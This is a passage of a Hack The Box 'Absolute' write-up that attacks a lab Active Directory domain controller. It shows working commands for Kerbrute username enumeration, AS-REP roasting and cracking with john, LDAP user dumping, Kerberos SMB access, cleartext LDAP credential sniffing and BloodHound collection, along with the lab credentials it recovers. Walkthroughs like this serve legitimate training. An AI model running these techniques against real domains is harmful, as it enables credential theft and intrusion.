Post

Absolute - HackTheBox (Insane)

Summary

Absolute from Hack The Box was initially rated as a ‘hard’ rated Windows box, later upgraded to ‘insane’ difficulty after HTB realised how complex it was. The box centers heavily around Kerberos exploitation using PKINIT within a hardened domain and included a really nice touch on the Protected Users group within Active Directory. Very rarely do I attempt an insane machine as I don’t think they’re worthwhile in the most part but this one was definitely worth doing, dare I say it - a masterpiece. I especially enjoyed how this box forced me read through plenty of tool documentation, use both Kali and Windows VMs, and how some of the concepts taught ‘absolutely’ melted my brain (yes pun intended!). What made this box particularly challenging was finding offensive tooling that worked with Kerberos authentication remotely (as NTLM is disabled and we don’t get a shell on the box until laterally moving through 4 users). For this reason exploiting this box uses crackmapexec and impacket scripts extensively, and there were some very smart people who improved open-source tools that made this box a lot easier - looking at you bloodhound-python - which is awesome to see!

The box revolves around extracting usernames from image metadata on a website, AS-REProasting one of these users, finding an additional password in a user description field, debugging a nim exe found on a SMB share with Wireshark to discover plaintext LDAP credentials, exploiting a complex ACL chain to add Shadow Credentials by writing to the msDS-KeyCredentialLink of a user to login using PKINIT via WinRM, relaying Kerberos over LDAP to add Shadow Credentials to the DC$, using PKINIT to obtain a TGT and finally performing a DCSync to extract the Administrator’s NTLM hash.

Initial recon

Port scanning

Running an nmap scan with default scripts -sC and versioning -sV shows us this box represents a domain controller, dc.absolute.htb, due to ports 53 (DNS) , 88 (Kerberos) and 389,636,3268,3269 (LDAP/LDAPS) being open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ nmap -sCV -p- 10.10.11.181 -T4 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 09:05 EST 
Nmap scan report for 10.10.11.181 
Host is up (0.034s latency). 
Not shown: 65508 closed tcp ports (conn-refused) 
PORT      STATE SERVICE       VERSION 
53/tcp    open  domain        Simple DNS Plus 
80/tcp    open  http          Microsoft IIS httpd 10.0 
|_http-server-header: Microsoft-IIS/10.0 
| http-methods:  
|_  Potentially risky methods: TRACE 
|_http-title: Absolute 
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-02-20 21:05:50Z) 
135/tcp   open  msrpc         Microsoft Windows RPC 
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn 
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) 
|_ssl-date: 2023-02-20T21:06:47+00:00; +7h00m02s from scanner time. 
| ssl-cert: Subject: commonName=dc.absolute.htb 
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb 
| Not valid before: 2022-06-09T08:14:24 
|_Not valid after:  2023-06-09T08:14:24 
445/tcp   open  microsoft-ds? 
464/tcp   open  kpasswd5? 
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) 
|_ssl-date: 2023-02-20T21:06:48+00:00; +7h00m02s from scanner time. 
| ssl-cert: Subject: commonName=dc.absolute.htb 
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb 
| Not valid before: 2022-06-09T08:14:24 
|_Not valid after:  2023-06-09T08:14:24  
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-02-20T21:06:47+00:00; +7h00m02s from scanner time.                                                                                                
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb                                       
| Not valid before: 2022-06-09T08:14:24 
|_Not valid after:  2023-06-09T08:14:24 
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) 
|_ssl-date: 2023-02-20T21:06:48+00:00; +7h00m02s from scanner time. 
| ssl-cert: Subject: commonName=dc.absolute.htb 
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb 
| Not valid before: 2022-06-09T08:14:24 
|_Not valid after:  2023-06-09T08:14:24 
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
|_http-server-header: Microsoft-HTTPAPI/2.0 
|_http-title: Not Found 
9389/tcp  open  mc-nmf        .NET Message Framing 
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
|_http-server-header: Microsoft-HTTPAPI/2.0 
|_http-title: Not Found 
49664/tcp open  msrpc         Microsoft Windows RPC 
49665/tcp open  msrpc         Microsoft Windows RPC 
49666/tcp open  msrpc         Microsoft Windows RPC 
49668/tcp open  msrpc         Microsoft Windows RPC 
49673/tcp open  msrpc         Microsoft Windows RPC 
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
49675/tcp open  msrpc         Microsoft Windows RPC 
49684/tcp open  msrpc         Microsoft Windows RPC 
49686/tcp open  msrpc         Microsoft Windows RPC 
49698/tcp open  msrpc         Microsoft Windows RPC 
49706/tcp open  msrpc         Microsoft Windows RPC 
56812/tcp open  msrpc         Microsoft Windows RPC 
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows 
Host script results: 
| smb2-security-mode:  
|   311:  
|_    Message signing enabled and required 
| smb2-time:  
|   date: 2023-02-20T21:06:40 
|_  start_date: N/A 
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 92.68 seconds

With so many ports open on domain controllers, there’s a huge number of potential routes we could try and anonymously enumerate - e.g. LDAP, RPC, SMB. However, what’s most interesting is this domain controller is strangely running an IIS website on port 80

Anyhow, after updating our /etc/hosts entry with the corresponding DNS names we can view the site.

1
10.10.11.181 absolute.htb dc.absolute.htb 

image.png

Extracting image metadata from the website

The web page seems static with no interactive features on it to analyse apart from a changing background image every few seconds. Upon inspecting how this works by viewing the source code, we see the website background is using javascript to rotate through 6 images named hero_x.jpg where x is numbers 1-6. Images normally contain metadata about the user who created them, which in our case if not stripped of metadata could potentially give us some usernames to utilise. image-1.png

To check for metadata inside the images, lets first download them all in a 1 line script:

1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ for x in $(seq 1 6); wget http://absolute.htb/images/hero_$x.jpg

And we can see them all nicely in our directory. image-2.png

To extract all the user metadata check we can use exiftool in another 1 line script:

1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ for x in $(seq 1 6); exiftool hero_$x.jpg | grep Author | awk -F ": " '{print $2}';  

We can see this produced a nice list of names for us to investigate further! image-3.png

Finding valid usernames

With a list of usernames, a huge range of attack possibilities open in Active Directory. Before we explore these, as we don’t know the username cipher convention for the absolute.htb domain we can use the awesome username-anarchy tool to generate all username combination possibilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ ~/Downloads/username-anarchy/username-anarchy --input-file ./users.txt
james 
jamesroberts 
james.roberts 
jamesrob 
jamerobe 
jamesr 
j.roberts 
jroberts 
rjames 
r.james 
robertsj 
roberts 
roberts.j 
roberts.james 
jr
...

We can see all the different combinations for each user it quickly generates for us image-4.png

We can then use ropnop’s Kerbrute tool to enumerate which of these are valid usernames through Kerberos Pre-Authentication. Kerbrute works by sending TGT requests (AS-REQ) with no pre-authentication and analysing how the KDC responds, which can be in one of three ways:

  1. Response with a PRINCIPAL UNKNOWN error -  the username does not exist.
  2. Response with a KRB5KDC_ERR_PREAUTH_REQUIRED error - we know the username exists.
  3. Response with a TGT in an AS-REP message - we know the user exists and is AS-REP roastable. Part of the AS-REP message is a TGT encrypted with the user’s password, which can be brute forced offline to obtain the users plaintext password, known as AS-REP roasting.

The pre-compiled binaries on the github releases page are lacking some great new features, in particular the automatic AS-REP roasting if a user does not require kerberos pre-authentication, so I decided to compile the tool myself.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ git clone https://github.com/ropnop/kerbrute; cd kerbrute; make linux; ls dist;
Building for linux amd64...
Building for linux 386...
Done.
kerbrute_linux_386  kerbrute_linux_amd64

After compiling we can use the tool to enumerate any valid usernames:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ./kerbrute_linux_amd64 userenum -d absolute.htb --dc 10.10.11.181 usernames.txt    

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/07/23 - Ronnie Flathers @ropnop

2023/04/07 15:56:04 >  Using KDC(s):
2023/04/07 15:56:04 >   10.10.11.181:88

2023/04/07 15:56:04 >  [+] VALID USERNAME:       j.roberts@absolute.htb
2023/04/07 15:56:04 >  [+] VALID USERNAME:       m.chaffrey@absolute.htb
2023/04/07 15:56:04 >  [+] VALID USERNAME:       s.osvald@absolute.htb
2023/04/07 15:56:04 >  [+] d.klay has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$d.klay@ABSOLUTE.HTB:c353a8f4d5943d3961d81fb8fcb4a96d$eac57d580ca8720147bd428e1c531f7813c95b92900d29bd130273d3ce9596dc7823b519179679b747d1daa34a9127b7ea61d5e0cc8982411e3d5681ee7e77c102a7347502623bce2f4856f72c40f00d9d340b4cf093fb33c7824b751a24c5cb9f78b1da7b20893047af7e6e869fff73ec76ad00e5e16d7de3ab09e86357ecd426bd4280162b99bf2ee626e45db743af7070bcbe531f536fc8686e96266006c8d4b9f0803bba159ea1f09198149d9d45a6adcdcac49e4645b78ddbf3b1f8af8bf1f1105be8fc26d0aad4a74840da68ba5d6aa36d6590b5a2aec4b1d79717872fa3ccd31042c85d4bd9c307bbcd5f225bba1b3c13e02acbb914d23435f6969a4c
2023/04/07 15:56:04 >  [+] VALID USERNAME:       d.klay@absolute.htb
2023/04/07 15:56:05 >  [+] VALID USERNAME:       j.robinson@absolute.htb
2023/04/07 15:56:05 >  [+] VALID USERNAME:       n.smith@absolute.htb
2023/04/07 15:56:05 >  Done! Tested 88 usernames (6 valid) in 0.526 seconds

This finds 6 valid usernames, and indicates the username convention is firstletter.surname@absolute.htb! image-36.png

First user

AS-REP roasting

More interestingly, Kerbrute highlighted that the d.klay user ‘does not require Kerberos preauthentication’, and automatically presented us with a password hash for the user. This option is easy to misconfigure when managing accounts in AD Users and Computers and can easily be enabled accidentally by a company’s service desk who may be unaware of the security ramifications of doing this. As shown below, all it takes it one button click:

image-49.png

As d.klay has this attribute set, it means when requesting a TGT from the KDC, the entire validation process of needing to present a timestamp encrypted with the user’s hashed password to validate that user is authorized to request the TGT is skipped. This means without even knowing the users password, we can receive an encrypted TGT for the user in an AS-REP message. Kerbrute automatically extracts the part of the TGT encrypted with the d.klay password hash, and cleverly outputs this part in a nice hash format we can try and crack to obtain the user’s plaintext password!

We can see this AS-REP captured in Wireshark when running Kerbrute. image-33.png

Alternatively, we could use the brilliant impacket GetNPUsers.py script to check if d.klay is AS-REP reproastable, which gives us the same output:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ impacket-GetNPUsers absolute.htb/ -dc-ip 10.10.11.181 -no-pass -usersfile users.txt 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
[-] User j.roberts doesn't have UF_DONT_REQUIRE_PREAUTH set 
[-] User m.chaffrey doesn't have UF_DONT_REQUIRE_PREAUTH set 
[-] User s.osvald doesn't have UF_DONT_REQUIRE_PREAUTH set 
$krb5asrep$23$d.klay@ABSOLUTE.HTB:27817d765055f3d2430954343f8ba032$520ecc432628b36f216579db7c23ab6d9428b52729f985931400a11c458152aee525fadc34ee19caaf3b1519765f2b864fd2503f4c7fe164c4eb50ba17793da233e4a92b3053b5b5a174d32a7cbe0ea4c19617700bf63fd4144c3fda5264a69157847abb839f99f999e613e2061ffe93203bdcf3e50e651b4b7042ec6940f1cfa9fa30c448e4b1b9bcbf9e28d51e3384f56233d5253bf3d651308218f0c3ef5ef0ac8269f644ce9bfc45333961e28f08288a8948b5d0b081439ead2a9a5d6ee2b47ec6cad986a9fef208f53c4eaf343c61a7bfb85399f9acaf476d107fbeb8220662fb12ba7cfe96cb4bc54d 
[-] User j.robinson doesn't have UF_DONT_REQUIRE_PREAUTH set 
[-] User n.smith doesn't have UF_DONT_REQUIRE_PREAUTH set

image-35.png

Equipped with the hash, we can simply copy it into a hash.txt file and attempt to crack it using john and rockyou.txt:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt             
Using default input encoding: UTF-8 
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x]) 
Will run 4 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status 
Darkmoonsky248girl ($krb5asrep$23$d.klay@ABSOLUTE.HTB)      
1g 0:00:00:08 DONE (2023-02-20 09:52) 0.1179g/s 1325Kp/s 1325Kc/s 1325KC/s DarrenCahppell..DarkAngelNinjaHaku 
Use the "--show" option to display all of the cracked passwords reliably 
Session completed.

image-5.png

After a few seconds it cracks, giving us plaintext credentials: d.klay:Darkmoonsky248girl!

Discovering NTLM is disabled

One common thing we can look for is to see if d.klay can access any file shares on the domain controller. To do this we can try with crackmapexec to list SMB shares with our credentials.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ ~/Desktop/cme smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' --shares
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION 

Strangely this returns a STATUS_ACCOUNT_RESTRICTION error. image-6.png

We also get the same error when trying to connect to RPC with rpcclient.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ rpcclient -U absolute.htb/d.klay 10.10.11.181           
Password for [ABSOLUTE.HTB\d.klay]: 
Cannot connect to server.  Error was NT_STATUS_ACCOUNT_RESTRICTION

image-37.png

Researching this error shows this is caused because this user is prevented from signing on using NTLM, ref here.

If we are prohibited signing in with NTLM, we could use the more modern Kerberos protocol. Before interacting with Kerberos which uses timestamps as a key part of its protocol, to request a valid TGT we have to make sure our clock skew is right with the absolute.htb time server, which we can adjust using ntpdate.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ sudo ntpdate 10.10.11.181
2023-02-20 17:06:01.898445 (-0500) +25201.575228 +/- 0.013587 10.10.11.181 s1 no-leap
CLOCK: time stepped by 25201.575228

Requesting a TGT

With our credentials we can request a TGT using impacket’s getTGT.py. This saves our TGT in a .ccache file that we can save to the KRBCCNAME environment variable which holds Kerberos credentials while they remain valid for use on our kali machine. After requesting the TGT, if we run klist we can display our cached Kerberos ticket that is valid for 4 hours:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ impacket-getTGT absolute.htb/d.klay:'Darkmoonsky248girl' -dc-ip 10.10.11.181  
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
[*] Saving ticket in d.klay.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ export KRB5CCNAME=d.klay.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute]  
└─$ klist  
Ticket cache: FILE:d.klay.ccache  
Default principal: d.klay@ABSOLUTE.HTB  
Valid starting       Expires              Service principal  
03/10/2023 20:10:39  03/11/2023 00:10:39  krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB  
        renew until 03/11/2023 00:10:39

This is slightly strange as kerberos tickets are normally valid for 10 hours. We will find out why this is later… image-34.png

Enumerating SMB with Kerberos

Lets try and see if d.klay has access to any shares again, this time specifying to use Kerberos authentication with crackmapexec’s -k option and specifying the FQDN as present in our TGT in order to use Kerberos successfully. I had to check the crackmapexec wiki to see how to do this which was awesome as I hadn’t had previously had a poke round this documentation!

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ ~/Desktop/cme smb dc.absolute.htb -u d.klay -p 'Darkmoonsky248girl' --shares -k 
SMB         dc.absolute.htb 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) 
SMB         dc.absolute.htb 445    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl  
SMB         dc.absolute.htb 445    DC               [+] Enumerated shares 
SMB         dc.absolute.htb 445    DC               Share           Permissions     Remark 
SMB         dc.absolute.htb 445    DC               -----           -----------     ------ 
SMB         dc.absolute.htb 445    DC               ADMIN                         Remote Admin 
SMB         dc.absolute.htb 445    DC               C                             Default share 
SMB         dc.absolute.htb 445    DC               IPC           READ            Remote IPC 
SMB         dc.absolute.htb 445    DC               NETLOGON        READ            Logon server share  
SMB         dc.absolute.htb 445    DC               Shared                           
SMB         dc.absolute.htb 445    DC               SYSVOL          READ            Logon server share

We can see it was successful and we can now list all the shares on the DC! image-7.png

To summarise the listed shares:

  • ADMIN$ = default remote admin share
  • C$ = default remote drive share
  • IPC$ = default remote IPC share used for communicating via named pipes like authenticating via SMB
  • NETLOGON = default share on domain controllers to store things like logon scripts and group policy templates
  • Shared = a non-standard ‘share’. We should note this for checking out later
  • SYSVOL = default share on domain controllers to store things like group policy objects (GPOs)

The only non-default share is the Shared drive which is not readable with our current user so this does’t help us.

Second user

Enumerating users and descriptions

We our TGT as a valid domain user, we can use this to list all other users in the domain remotely. A nice way to do this is querying over LDAP with crackmapexec’s --users, which actually extracts all the user descriptions too!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ ~/Desktop/cme ldap absolute.htb -u d.klay -p 'Darkmoonsky248girl' -k --users                          
SMB         absolute.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) 
LDAP        absolute.htb    389    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl  
LDAP        absolute.htb    389    DC               [*] Total of records returned 20 
LDAP        absolute.htb    389    DC               Administrator                  Built-in account for administering the computer/domain 
LDAP        absolute.htb    389    DC               Guest                          Built-in account for guest access to the computer/domain 
LDAP        absolute.htb    389    DC               krbtgt                         Key Distribution Center Service Account 
LDAP        absolute.htb    389    DC               J.Roberts                       
LDAP        absolute.htb    389    DC               M.Chaffrey                      
LDAP        absolute.htb    389    DC               D.Klay                          
LDAP        absolute.htb    389    DC               s.osvald                        
LDAP        absolute.htb    389    DC               j.robinson                      
LDAP        absolute.htb    389    DC               n.smith                         
LDAP        absolute.htb    389    DC               m.lovegod                       
LDAP        absolute.htb    389    DC               l.moore                         
LDAP        absolute.htb    389    DC               c.colt                          
LDAP        absolute.htb    389    DC               s.johnson                       
LDAP        absolute.htb    389    DC               d.lemm                          
LDAP        absolute.htb    389    DC               svc_smb                        AbsoluteSMBService123! 
LDAP        absolute.htb    389    DC               svc_audit                       
LDAP        absolute.htb    389    DC               winrm_user                     Used to perform simple network tasks

Looking at this list of domain users we spot a classic administrative error - leaving a password in the description field, which admins too commonly forget is readable by any authenticated user! image-8.png

If we wanted to do this on a Windows VM instead of using crackmapexec we could do the same with PowerView whilst connected to the HTB VPN, first importing the script via dot-sourcing, creating a PSCredential object then enumerating all users and descriptions:

1
2
3
4
PS C:\Users\jack> . .\PowerView.ps1 
PS C:\Users\jack> $SecPassword = ConvertTo-SecureString "Darkmoonsky248girl" -AsPlainText -Force 
PS C:\Users\jack> $Cred = New-Object System.Management.Automation.PSCredential("absolute.htb\d.klay", $SecPassword) 
PS C:\Users\jack> Get-DomainUser * -Credential $Cred -Server absolute.htb | Select-Object samaccountname,description

image-39.png

Now we have new credentials for an smb service user! svc_smb:AbsoluteSMBService123!

Requesting a TGT

Similarly to before, we can request a TGT for svc_smb and save to the KRBCCNAME environment variable, and running klist we can see our new cached Kerberos ticket, again valid for 4 hours.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ impacket-getTGT absolute.htb/svc_smb:'AbsoluteSMBService123!' -dc-ip 10.10.11.181  
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
[*] Saving ticket in svc_smb.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ export KRB5CCNAME=svc_smb.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute]  
└─$ klist  
Ticket cache: FILE:svc_smb.ccache  
Default principal: svc_smb@ABSOLUTE.HTB  
Valid starting       Expires              Service principal  
03/13/2023 14:02:44  03/13/2023 18:02:44  krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB  
        renew until 03/13/2023 18:04:44

image-38.png

Enumerating SMB

With a valid ticket as the smb service user, it seems logical we can return to the Shared smb file share, that maybe we might have access to now?

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ ~/Desktop/cme smb absolute.htb -u svc_smb -p 'AbsoluteSMBService123!' -k --shares
SMB         absolute.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         absolute.htb    445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123! 
SMB         absolute.htb    445    DC               [+] Enumerated shares
SMB         absolute.htb    445    DC               Share           Permissions     Remark
SMB         absolute.htb    445    DC               -----           -----------     ------
SMB         absolute.htb    445    DC               ADMIN$                          Remote Admin
SMB         absolute.htb    445    DC               C$                              Default share
SMB         absolute.htb    445    DC               IPC$            READ            Remote IPC
SMB         absolute.htb    445    DC               NETLOGON        READ            Logon server share 
SMB         absolute.htb    445    DC               Shared          READ            
SMB         absolute.htb    445    DC               SYSVOL          READ            Logon server share

Notice how we now have READ access to the Shared folder! image-9.png

I would normally use smbclient to view these shares however I discovered its Kerberos compatibility is deprecated. Thankfully impacket comes to the rescue yet again with its own version with Kerberos support, impacket-smbclient. Just like all impacket scripts, we can use specify -k and -no-pass to authenticate to the share with our ticket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ impacket-smbclient -k -no-pass dc.absolute.htb                                    
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
Type help for list of commands 
# shares 
ADMIN$ 
C$ 
IPC$ 
NETLOGON 
Shared 
SYSVOL 
# use Shared 
# ls 
drw-rw-rw-          0  Thu Sep  1 13:02:23 2022 . 
drw-rw-rw-          0  Thu Sep  1 13:02:23 2022 .. 
-rw-rw-rw-         72  Thu Sep  1 13:02:23 2022 compiler.sh 
-rw-rw-rw-      67584  Thu Sep  1 13:02:23 2022 test.exe
# get compiler.sh 
# get test.exe
# exit

Looking through the share we see two files - compiler.sh and test.exe, so we download both of them for analysis.

Third user

Analysing the binary

Compiler.sh appears to be the script used to compile the test executable via nim.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ cat compiler.sh      
#!/bin/bash 
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1

Test.exe is a 32-bit executable built with nim, which is not easily reverse engineered like .NET executables are with dnSpy.

image-10.png

Before reverse engineering this binary using something like Ghidra, I copied it over to Windows VM to see if we could debug to ascertain an understanding of what the binary did.

Caution: Running unknown executables is normally not recommended, however my VM is isolated, snapshotted and this is a CTF binary so is not likely to be overly malicious.

I downloaded OpenVPN connect on my Windows VM from here, and imported our lab OpenVPN file to connect to the Hack The Box VPN.

image-11.png

However, when running the test.exe to analyse the behaviour, strangely nothing is observed.

1
2
C:\Users\jack>.\test.exe
C:\Users\jack>

When analysing binaries on previous HTB machines sometimes they make network connections behind what we can see on the GUI. This seams feasible as the binary could be ‘testing’ a network connection. Opening up Wireshark we can check if the binary is making any network connections behind the scenes.

Editing our host file at C:\Windows\System32\drivers\etc\hosts is required to resolve absolute.htb if it does make a network connection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Copyright (c) 1993-2009 Microsoft Corp. 
# 
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows. 
# 
# This file contains the mappings of IP addresses to host names. Each 
# entry should be kept on an individual line. The IP address should 
# be placed in the first column followed by the corresponding host name. 
# The IP address and the host name should be separated by at least one 
# space. 
# 
# Additionally, comments (such as these) may be inserted on individual 
# lines or following the machine name denoted by a '#' symbol. 
# 
# For example: 
# 
#      102.54.94.97     rhino.acme.com          # source server 
#       38.25.63.10     x.acme.com              # x client host 
# localhost name resolution is handled within DNS itself. 
#	127.0.0.1       localhost 
#	::1             localhost 
10.10.11.181 absolute.htb dc.absolute.htb

Then running test.exe again we see some interesting packets in Wireshark:

1
2
C:\Users\jack>.\test.exe 
C:\Users\jack>

image-14.png We can confirm our suspicion was correct - the binary appears to be testing an LDAP bind (authenticating to the DC via LDAP). On closer inspection of the packets, we can see the LDAP bind was performed unencrypted over the network in clear-text via port 389 rather than encrypted via port 636 (LDAPS), meaning we have now intercepted credentials for another user - m.lovegod:AbsoluteLDAP2022!!

image-12.png

The reason unencrypted LDAP binds are possible is because no LDAP server signing requirements are enforced within the Default Domain Controllers Policy GPO. image-50.png

Using bloodhound remotely with Kerberos

With this 3rd set of credentials we still don’t have a way to get on the box as WinRM access is denied and no more shares can be enumerated. With no clear path ahead, my go-to fallback is to fully enumerate the domain using bloodhound which I elected to perform remotely on Linux using the python-bloodhound ingestor based on impacket, bloodhound.py. I found out later this could also be done remotely on Windows by importing our ticket with Rubeus and using SharpHound as shown here

A slight issue arose that because NTLM authentication is disabled we have to use python-bloodhound remotely with Kerberos authentication, for which the functionality on the master github branch didn’t seem to work. After doing a bit of digging, it turns out that just after the box was released jazzpizazz released a fork of python-bloodhound compatible with Kerberos authentication and could get sweet BloodHound 4.2+ exports! Kudos to him for this awesome addition.

We can first clone the fork from jazz’s github.

1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ git clone https://github.com/jazzpizazz/BloodHound.py-Kerberos

Lets request a TGT for this m.love user and save to the KRBCCNAME environment variable. Running klist we can see our new cached Kerberos ticket for 4 hours.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos] 
└─$ impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.10.11.181 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
[*] Saving ticket in m.lovegod.ccache 
                                                                                                                                 
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos] 
└─$ export KRB5CCNAME=m.lovegod.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]  
└─$ klist  
Ticket cache: FILE:m.lovegod.ccache  
Default principal: m.lovegod@ABSOLUTE.HTB  
Valid starting       Expires              Service principal  
02/20/2023 22:19:25  02/21/2023 02:19:25  krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB  
        renew until 02/21/2023 02:19:25

We can then use bloodhound-python with Kerberos support -k to enumerate the entire domain and save the output to a .zip file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos] 
└─$ python3 bloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -no-pass -c All 
INFO: Found AD domain: absolute.htb 
INFO: Using TGT from cache 
INFO: Found TGT with correct principal in ccache file. 
INFO: Connecting to LDAP server: dc.absolute.htb 
INFO: Found 1 domains 
INFO: Found 1 domains in the forest 
INFO: Found 1 computers 
INFO: Connecting to LDAP server: dc.absolute.htb 
INFO: Found 18 users 
INFO: Found 55 groups 
INFO: Found 0 trusts 
INFO: Starting computer enumeration with 10 workers 
INFO: Querying computer: dc.absolute.htb 
INFO: Ignoring host dc.absolute.htb since its reported name  does not match 
INFO: Done in 00M 02S 
INFO: Compressing output into 20230220223951_bloodhound.zip

We load up the neo4j database and start the bloodhound GUI, then import the zip file our bloodhound-python ingestor produced.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos] 
└─$ sudo neo4j start

┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos] 
└─$ bloodhound 

From analysing the domain in a graphed format, we can see a clear explanation for why all our users had NTLM authentication disabled with the NT_STATUS_ACCOUNT_RESTRICTION and only Kerberos authentication worked - all users are a member of the Protected Users group (apart from Administrator, Guest, krbtgt and DC$).

image-40.png

This is because the Protected Users group automatically applies non-configurable protections to minimize credential exposure within the domain:

